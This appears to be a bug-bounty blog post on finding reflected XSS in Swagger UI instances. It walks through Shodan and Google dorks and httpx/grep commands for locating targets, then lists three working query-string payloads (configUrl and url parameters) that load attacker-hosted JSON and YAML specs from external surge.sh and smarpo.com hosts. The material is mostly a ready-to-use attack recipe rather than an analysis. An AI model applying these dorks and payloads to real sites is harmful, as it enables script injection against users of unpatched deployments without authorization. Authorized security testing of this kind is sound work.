So, first of all in order to find Reflected XSS, we need to identify SwaggerUI web pages. Common Sense init??
There are multiple ways we can find Swagger UI webpages. Some of them are:
1) If we have a wildcard scope, we can use dorking.
Shodan Dork:
1
| http.title:"Swagger UI" hostname:"*.target.com"
|
Google Dorks:
1
| intext:"swagger ui" intitle:"swagger ui" inurl:?url=
|
1
| intext:"swagger ui" intitle:"swagger ui" inurl:?configUrl=
|
1
| site:target.com inurl:"/swagger" OR inurl:"/v2/api-docs" OR inurl:"/v3/api-docs" OR inurl:"/swagger-ui.html" OR inurl:"/swagger-resources"
|
2) We can find Swagger UI web pages using httpx
tool.
Now, we can detect technologies using httpx using the following command:
-l | list of subdomains |
-tech-detect | flag to detect technologies |
-o | used to specify the file we want to output our results |
1
| httpx -l subdomains.txt -tech-detect -o technologies.txt
|
After saving the output to the file, we can use grep
to query for Swagger UI
using the following command:
1
| grep "Swagger UI" technologies.txt
|
as we can see in the screenshot, we got Swagger UI instances. Now, all we have to do is use our payloads to find Reflected XSS.
Payloads:
1
| ?configUrl=https://jumpy-floor.surge.sh/test.json
|
1
| ?url=https://jumpy-floor.surge.sh/test.yaml
|
1
| ?configUrl=https://xss.smarpo.com/test.json&url=https://jumpy-floor.surge.sh/test.yaml
|
These payloads work out most of the time. (At least worked out for me)
And this is how my friends I look for Reflected XSS in Swagger UI instances. I hope this blog added some value to your hunting methodologies. In case you wish to craft some custom payloads, here’s an amazing resource: